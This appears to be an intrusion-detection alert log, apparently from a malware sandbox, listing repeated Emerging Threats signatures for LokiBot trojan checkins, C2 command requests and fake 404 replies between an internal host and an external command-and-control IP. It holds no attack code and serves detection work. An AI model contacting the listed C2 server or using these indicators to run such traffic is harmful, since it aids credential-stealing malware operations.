ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749937802025381 01/05/23-08:53:21.090422
SID:	2025381
Source Port:	49937
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749977802825766 01/05/23-08:53:33.899852
SID:	2825766
Source Port:	49977
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749964802021641 01/05/23-08:53:30.400374
SID:	2021641
Source Port:	49964
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497482025483 01/05/23-08:52:24.963164
SID:	2025483
Source Port:	80
Destination Port:	49748
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749881802021641 01/05/23-08:53:04.500331
SID:	2021641
Source Port:	49881
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749770802825766 01/05/23-08:52:31.112136
SID:	2825766
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749851802025381 01/05/23-08:52:56.435777
SID:	2025381
Source Port:	49851
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749983802825766 01/05/23-08:53:35.478290
SID:	2825766
Source Port:	49983
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749885802825766 01/05/23-08:53:05.575803
SID:	2825766
Source Port:	49885
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497512025483 01/05/23-08:52:25.845383
SID:	2025483
Source Port:	80
Destination Port:	49751
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749934802025381 01/05/23-08:53:20.304475
SID:	2025381
Source Port:	49934
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749894802825766 01/05/23-08:53:08.006895
SID:	2825766
Source Port:	49894
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749980802825766 01/05/23-08:53:34.702395
SID:	2825766
Source Port:	49980
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497322025483 01/05/23-08:52:20.491522
SID:	2025483
Source Port:	80
Destination Port:	49732
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749935802024313 01/05/23-08:53:20.565175
SID:	2024313
Source Port:	49935
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497732025483 01/05/23-08:52:31.998630
SID:	2025483
Source Port:	80
Destination Port:	49773
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750041802025381 01/05/23-08:53:52.410718
SID:	2025381
Source Port:	50041
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749825802825766 01/05/23-08:52:47.903129
SID:	2825766
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499612025483 01/05/23-08:53:29.675200
SID:	2025483
Source Port:	80
Destination Port:	49961
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497102025483 01/05/23-08:52:11.755900
SID:	2025483
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497952025483 01/05/23-08:52:39.801322
SID:	2025483
Source Port:	80
Destination Port:	49795
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749723802021641 01/05/23-08:52:17.811814
SID:	2021641
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749908802825766 01/05/23-08:53:13.214132
SID:	2825766
Source Port:	49908
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749701802825766 01/05/23-08:52:07.731855
SID:	2825766
Source Port:	49701
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749812802021641 01/05/23-08:52:44.412618
SID:	2021641
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749914802825766 01/05/23-08:53:14.852027
SID:	2825766
Source Port:	49914
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749717802024313 01/05/23-08:52:14.673219
SID:	2024313
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749800802024318 01/05/23-08:52:41.099242
SID:	2024318
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750045802024313 01/05/23-08:53:53.481872
SID:	2024313
Source Port:	50045
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749809802021641 01/05/23-08:52:43.596832
SID:	2021641
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498162025483 01/05/23-08:52:45.565007
SID:	2025483
Source Port:	80
Destination Port:	49816
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750041802825766 01/05/23-08:53:52.410718
SID:	2825766
Source Port:	50041
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749800802024313 01/05/23-08:52:41.099242
SID:	2024313
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749760802021641 01/05/23-08:52:28.304789
SID:	2021641
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749855802021641 01/05/23-08:52:57.514506
SID:	2021641
Source Port:	49855
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500292025483 01/05/23-08:53:49.195503
SID:	2025483
Source Port:	80
Destination Port:	50029
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750057802021641 01/05/23-08:53:56.743180
SID:	2021641
Source Port:	50057
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749960802025381 01/05/23-08:53:28.475539
SID:	2025381
Source Port:	49960
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749782802025381 01/05/23-08:52:36.098088
SID:	2025381
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749914802025381 01/05/23-08:53:14.852027
SID:	2025381
Source Port:	49914
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750002802024313 01/05/23-08:53:40.505314
SID:	2024313
Source Port:	50002
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749699802025381 01/05/23-08:52:06.870270
SID:	2025381
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749996802021641 01/05/23-08:53:38.933239
SID:	2021641
Source Port:	49996
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497542025483 01/05/23-08:52:26.735221
SID:	2025483
Source Port:	80
Destination Port:	49754
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749877802025381 01/05/23-08:53:03.433942
SID:	2025381
Source Port:	49877
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749862802825766 01/05/23-08:52:59.436708
SID:	2825766
Source Port:	49862
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749934802825766 01/05/23-08:53:20.304475
SID:	2825766
Source Port:	49934
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749779802825766 01/05/23-08:52:35.235559
SID:	2825766
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497172025483 01/05/23-08:52:14.761442
SID:	2025483
Source Port:	80
Destination Port:	49717
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749938802024313 01/05/23-08:53:21.374225
SID:	2024313
Source Port:	49938
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749938802024318 01/05/23-08:53:21.374225
SID:	2024318
Source Port:	49938
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749957802825766 01/05/23-08:53:26.768134
SID:	2825766
Source Port:	49957
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750002802024318 01/05/23-08:53:40.505314
SID:	2024318
Source Port:	50002
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749756802825766 01/05/23-08:52:27.231494
SID:	2825766
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500572025483 01/05/23-08:53:56.827355
SID:	2025483
Source Port:	80
Destination Port:	50057
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498532025483 01/05/23-08:52:57.043641
SID:	2025483
Source Port:	80
Destination Port:	49853
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499802025483 01/05/23-08:53:34.784528
SID:	2025483
Source Port:	80
Destination Port:	49980
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750021802025381 01/05/23-08:53:46.361205
SID:	2025381
Source Port:	50021
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749980802025381 01/05/23-08:53:34.702395
SID:	2025381
Source Port:	49980
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750018802825766 01/05/23-08:53:44.999195
SID:	2825766
Source Port:	50018
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750077802021641 01/05/23-08:54:02.067623
SID:	2021641
Source Port:	50077
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749983802025381 01/05/23-08:53:35.478290
SID:	2025381
Source Port:	49983
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498252025483 01/05/23-08:52:47.996157
SID:	2025483
Source Port:	80
Destination Port:	49825
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749749802021641 01/05/23-08:52:25.162571
SID:	2021641
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749832802021641 01/05/23-08:52:49.809310
SID:	2021641
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749820802024318 01/05/23-08:52:46.558490
SID:	2024318
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498032025483 01/05/23-08:52:41.982616
SID:	2025483
Source Port:	80
Destination Port:	49803
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749820802024313 01/05/23-08:52:46.558490
SID:	2024313
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499522025483 01/05/23-08:53:25.281435
SID:	2025483
Source Port:	80
Destination Port:	49952
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749823802024318 01/05/23-08:52:47.379297
SID:	2024318
Source Port:	49823
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749783802024313 01/05/23-08:52:36.372208
SID:	2024313
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749786802024313 01/05/23-08:52:37.217550
SID:	2024313
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749878802021641 01/05/23-08:53:03.704233
SID:	2021641
Source Port:	49878
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497672025483 01/05/23-08:52:30.379314
SID:	2025483
Source Port:	80
Destination Port:	49767
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749961802024318 01/05/23-08:53:29.597138
SID:	2024318
Source Port:	49961
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749964802024313 01/05/23-08:53:30.400374
SID:	2024313
Source Port:	49964
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499302025483 01/05/23-08:53:19.298581
SID:	2025483
Source Port:	80
Destination Port:	49930
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749961802024313 01/05/23-08:53:29.597138
SID:	2024313
Source Port:	49961
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749786802024318 01/05/23-08:52:37.217550
SID:	2024318
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749783802024318 01/05/23-08:52:36.372208
SID:	2024318
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749964802024318 01/05/23-08:53:30.400374
SID:	2024318
Source Port:	49964
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497452025483 01/05/23-08:52:24.104430
SID:	2025483
Source Port:	80
Destination Port:	49745
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749954802825766 01/05/23-08:53:25.726692
SID:	2825766
Source Port:	49954
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497822025483 01/05/23-08:52:36.186611
SID:	2025483
Source Port:	80
Destination Port:	49782
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749776802825766 01/05/23-08:52:33.619524
SID:	2825766
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749736802025381 01/05/23-08:52:21.543284
SID:	2025381
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749823802024313 01/05/23-08:52:47.379297
SID:	2024313
Source Port:	49823
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750001802025381 01/05/23-08:53:40.243949
SID:	2025381
Source Port:	50001
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749717802024318 01/05/23-08:52:14.673219
SID:	2024318
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749937802825766 01/05/23-08:53:21.090422
SID:	2825766
Source Port:	49937
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749759802825766 01/05/23-08:52:28.024665
SID:	2825766
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749835802021641 01/05/23-08:52:50.902278
SID:	2021641
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749808802025381 01/05/23-08:52:43.325468
SID:	2025381
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750045802024318 01/05/23-08:53:53.481872
SID:	2024318
Source Port:	50045
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749714802024313 01/05/23-08:52:13.349412
SID:	2024313
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749803802024318 01/05/23-08:52:41.905218
SID:	2024318
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500412025483 01/05/23-08:53:52.491665
SID:	2025483
Source Port:	80
Destination Port:	50041
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498312025483 01/05/23-08:52:49.622210
SID:	2025483
Source Port:	80
Destination Port:	49831
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750048802024313 01/05/23-08:53:54.265201
SID:	2024313
Source Port:	50048
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750048802024318 01/05/23-08:53:54.265201
SID:	2024318
Source Port:	50048
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499682025483 01/05/23-08:53:31.591227
SID:	2025483
Source Port:	80
Destination Port:	49968
Protocol:	TCP
Classtype:	A Network Trojan was detected

